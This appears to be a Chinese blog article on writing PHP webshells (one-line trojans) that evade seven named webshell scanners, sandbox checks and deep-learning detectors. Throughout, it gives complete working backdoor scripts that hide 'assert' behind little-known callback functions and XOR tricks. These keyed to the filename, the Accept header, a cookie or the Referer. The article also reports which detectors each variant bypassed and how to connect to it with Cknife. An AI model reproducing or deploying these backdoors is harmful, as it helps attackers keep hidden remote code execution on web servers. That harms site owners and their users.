【免杀】————2、php免杀木马的思路

一般的，利用能够执行系统命令、加载代码的函数，或者组合一些普通函数，完成一些高级间谍功能的网站后门的脚本，叫做 Webshell。

本篇文章主要探讨关于 PHP 语言的 Webshell 检测工具和平台的绕过方法，实现能够绕过以下表格中 7 个主流(基本代表安全行业内 PHP Webshell检测的一流水平)专业工具和平台检测的 PHP Webshell，构造出零提示、无警告、无法被检测到的一句话木马后门。

1、网站安全狗网马查杀

http://download.safedog.cn/download/software/safedogwzApache.exe

2、D盾 Web 查杀

http://www.d99net.net/down/WebShellKill_V2.0.9.zip

3、深信服WebShellKillerTool

http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip

4、 BugScaner killwebshell

http://tools.bugscaner.com/killwebshell/

5 、河马专业版查杀Webshell

http://n.shellpub.com/

6、 OpenRASP WEBDIR+ 检测引擎

https://scanner.baidu.com

7 、深度学习模型检测 PHP Webshell

http://webshell.cdxy.me/

研究期间做了大量的测试，限于篇幅和文章效果，在不影响阅读体验的情况下，部分测试过程和结果略去了。

0x01：Webshell 后门

目前来讲，我把用纯 php 代码实现的 Webshell 后门(以下统称为"木马")，主要分为以下几类：

单/少功能木马

能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的 Webshell。

逻辑木马

利用系统逻辑漏洞或构造特殊触发条件，绕过访问控制或执行特殊功能的 Webshell。

一句话木马

可以在目标服务器上执行 php 代码，并和一些客户端(如菜刀、Cknife)进行交互的 Webshell。

多功能木马

根据 PHP 语法，编写较多代码，并在服务器上执行，完成大量间谍功能的 Webshell (大马)。

其中，一句话木马的原理如下图：

客户端将 PHP 代码使用特殊参数名(密码)，发送给放置在服务端上的一句话木马文件；一句话木马脚本则在服务器上执行发来的 PHP 代码，然后将执行结果回传给客户端，客户端将结果解析并展示给操作者。

0x02：查杀现状研究

根据 0x01 的一句话木马原理，我们知道必须要在服务器上执行客户端发来的字符串形式的 PHP 代码。
脚本要将字符串(或文件流)当作 PHP 代码执行，目前主要会使用以下函数：

eval : PHP 4, PHP 5, PHP 7+ 均可用，接受一个参数，将字符串作为 PHP 代码执行

assert : PHP 4, PHP 5, PHP 7.2 以下均可用，一般接受一个参数，php 5.4.8 版本后可以接受两个参数

正则匹配类 : preg_replace/mb_ereg_replace/preg_filter 等

文件包含类 : include/include_once/require/require_once/file_get_contents 等`

本文为了好说明问题，统一将上面表中可以将字符串当作代码执行的函数临时起个名字，叫"函数机"。不幸的是，但凡直接出现函数机，即便不是进行恶意操作，部分查杀软件也会产生警告，达不到我们的要求。\比如用 D 盾检测如下脚本：

然后，就需要方法来隐藏上面的函数机。但是随着攻防对抗的升级，较传统的字符串拆分、变形、进制转换、运算变换等躲避 Webshell 查杀的效果已经大大降低。所以，经过调研和比较，本文选择了通过可以携带参数的 PHP 回调函数来创造后门的技术，来实现绕过检测软件的一句话木马后门。拿出来曾经披露过的一个回调函数后门函数 "register_shutdown_function" 做测试，发现虽然 D 盾、深信服的工具没有发觉到 "register_shutdown_function" 加 "assert" 的变形，但是安全狗还是察觉到了。

<?php
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
register_shutdown_function($ch[1].$ch[3].$ch[4], $_REQUEST[$password]);
?>

所以，有理由推测，有一个恶意函数库，凡是网络上披露过的可用作后门的回调函数，都可能在其中，而且很大概率上会被检测出来。经过收集，发现网络上 50 多个已披露出来的可用作后门的回调函数和类中，有部分函数仍然可以用来绕过 Webshell 查杀软件。

0x03：查找可做后门的回调函数

去 PHP 官网:

http://php.net/manual/zh/

查阅函数手册，查找可以用作后门的 PHP 回调函数，根据实际经验，利用下面五个关键词，能提高查找到拥有后门潜质的 PHP 回调函数的效率：

关键词一：callable

关键词二：mixed $options

关键词三：handler

关键词四：callback

关键词五：invoke

除此之外，PHP 扩展中也有些合适的回调函数，不过可能通用性不强，本文不做讨论。

0x04：绕过传统检测

先拿披露过的 array_udiff_assoc() 函数构造一个免杀一句话。

函数定义：

array array_udiff_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func )

根据定义，可以构造代码：

array_udiff_assoc(array("phpinfo();"), array(1), "assert");

继续构造适合客户端连接的一句话木马：

<?php
/**
* Noticed: (PHP 5 >= 5.4.0, PHP 7)
*
*/
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>

浏览器访问

http://127.0.0.1/shell/test/test.php?LandGrey=phpinfo();

Cknife 添加目标 http://127.0.0.1/shell/test/test.php 密码: LandGrey，可成功连接。

用查杀工具检测：只有故意放置的一个 eval 一句话被查出来。

bugscaner 在线查杀，通过

使用河马正式版在线查杀，通过

至此，我们已经绕过安全狗、D 盾和深信服的客户端 Webshell 查杀和 bugscaner、河马正式版的在线查杀。

可以发现，只需找一个网络上没有"频繁出现"或"没有出现过"回调函数，稍加变形，即可绕过传统技术的检测。

再给一个 "array_intersect_ukey" 反调函数的免杀示例：

<?php
/*** Noticed: (PHP 5 >= 5.4.0, PHP 7)**/
$password = "LandGrey";
$ch = explode(".","hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>

0x05：突破 OpenRASP WebShell 沙盒检测

接着用 OpenRASP 团队的 WEBDIR+ 在线查杀平台，被查出来是后门

经过反复测试和观察，OpenRASP 团队的 Webshell 检测使用了动态监测技术，原理上应该是将脚本放在安全沙盒中执行，分析脚本行为、尝试触发脚本的后门动作等。不管混淆的脚本多厉害，使用了多巧妙的函数，试执行时基本都会被检测出来。

刚开始时，发现使用PHP 脚本加密技术，可以有效绕过 OpenRASP 团队的 WEBDIR+ Webshell 检测服务。但加密动作太大，会被D盾或深信服的Webshell 查杀软件警告，不仅不能实现零警告和无提示，人眼一看就会发现有问题，所以放弃了加密脚本这条路。

然后就陷入了一段时间的思索，这里给出一种基于免杀的回调函数，利用信息不对称来绕过 OpenRASP WEBDIR+ 平台检测的技术：

1、利用重命名前后的脚本名不同

在检测几次后，观察发现 WEBDIR+ 把上传文件都按照文件哈希值重名了

所示，猜测该平台是先将上传脚本重命名，然后再在沙盒中试执行检测 Webshell。那么就可以利用一句话脚本文件名在重命名前后的差别，完成绕过。一段核心的绕过检测的木马代码示例如下：

<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

脚本名必须是 "***s.php" 的名字形式，即最后一位字符要为 "s"，然后用 "sclass" 和 hex2bin("12101f040107") 的值按位异或，得到 "assert"，从而利用回调函数，执行 PHP 代码。

上传到 WEBDIR+ 系统后，脚本被重命名，"试执行时自然无法复现木马行为"，从而绕过了检测。这种方式有一种明显的要求，就是我们能够准确预知或控制脚本名的最后一位字符。

如果写成通用型脚本，根据文件名的最后一位字符，自动选择做异或的字符串，得到 "assert"，代码示例如下：

<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$trick = array("0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59","9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09","i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10","r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b","A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28","J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33","S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",
);
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

就如下图所示，会被查杀：

将脚本命名为 scanner.php, 硬编码脚本最后一位字符为 "r"，就不会被平台检测到，证明了我们原始的想法和对平台检测原理的部分推测:

<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?

2、利用检测平台的信息缺失

接着猜想：当脚本在沙盒中运行时，如果得不到可以让脚本正常执行的关键信息，平台就无法查杀 Webshell；而我们连接时，带上关键信息，就可以正常使用一句话木马后门，从而绕过查杀。
例如，利用下面的一句话，请求时，Cknife 携带请求头 Accept: r，密码输入 "LandGrey"，即可成功连接一句话木马：

<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>

3、其它信息的差异

在针对某个特别的目标测试时，可以利用目标的特殊信息构造信息的差异，实现 Webshell 绕过。

如目标 IP 地址的唯一性、域名、特殊 Cookie、Session 字段和值、$_SERVER 变量中可被控制的值，甚至是主机 Web 服务的根目录、操作系统等一些差别，发挥空间很大。

0x06：绕过深度学习技术的检测

当用 0x05 "1、利用重命名前后的脚本名不同"中的脚本来测试时，被深度学习模型技术检测 Webshell 给查杀了。

但是基于免杀的回调函数，利用 0x05 给出的"2、利用检测平台的信息缺失"给出的一句话，仍然可以突破 webshell.cdxy.me 平台的 Webshell 检测:

为了避免偶然，换个免杀函数，再测试一次。请求时设置 Cookie 值为 Cookie: set-domain-name=ass;，以下示例脚本代码也可绕过该平台的查杀，当然，以上提到的其它工具和平台也可以绕过。

<?php
/***  Noticed: (PHP 5 >= 5.4.0, PHP 7)**/
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>

小插曲

在测试期间，还对河马机器学习查杀引擎 http://ml.shellpub.com 进行过测试，发现突破不了。测试中，发现连下面的正常语句都会被杀：

<?php
array(1)
?>

所以就将 Wordpress 的源码上传，测试下系统的可用性。1774 个文件，发现了 1494 个疑似后门。系统的测试结果不能作为判断标准，所以正文中略过了对该平台的测试。

最后再给出一个可以绕过当前市面上几乎所有 Webshell 查杀的 PHP 一句话木马脚本。请求时，设置 Referer 头，后面以 "ass****" 结尾即可,比如：

Referer: http://www.target.com/ass.php。

在使用 Cknife 时，注意软件实现有缺陷，会从第二个 ":" 处截断，可改成:

Referer: http%3a//www.target.com/ass.php

<?php
/*** Noticed: (PHP 5 >= 5.3.0, PHP 7)**/
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"],-7,-4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>

0x08: 后记

文章的 "0x04: 绕过传统检测"研究结果表明：对于基于陌生的回调函数后门构造的一句话后门脚本本身，传统的基于特征、正则表达式和黑名单制的查杀技术，已经失去了对抗 PHP Webshell 检测的意义。

"0x05: 突破 OpenRASP WebShell 沙盒检测"、"0x06: 绕过深度学习技术的检测"和"小插曲"部分的研究结果表名：新型的沙盒技术、深度学习、机器学习查杀平台还不够成熟和稳定，虽然在检测未知的一句话木马方面表现领先于传统检测方式，但是经过研究，还是可以构造出绕过查杀的 PHP 一句话木马脚本。

文章以上研究都是对 PHP 一句话木马脚本本身的免杀研究。文章发布后，以上多个回调函数后门估计很快会被加入黑名单。

要注意对于实际应用中，脚本本身免杀只是第一步，WAF 和查杀软件可能会根据脚本的创建日期、文件大小、通信流量特征等多个方面，动态、综合的判断脚本是否为恶意 Webshell，本文并未涉及。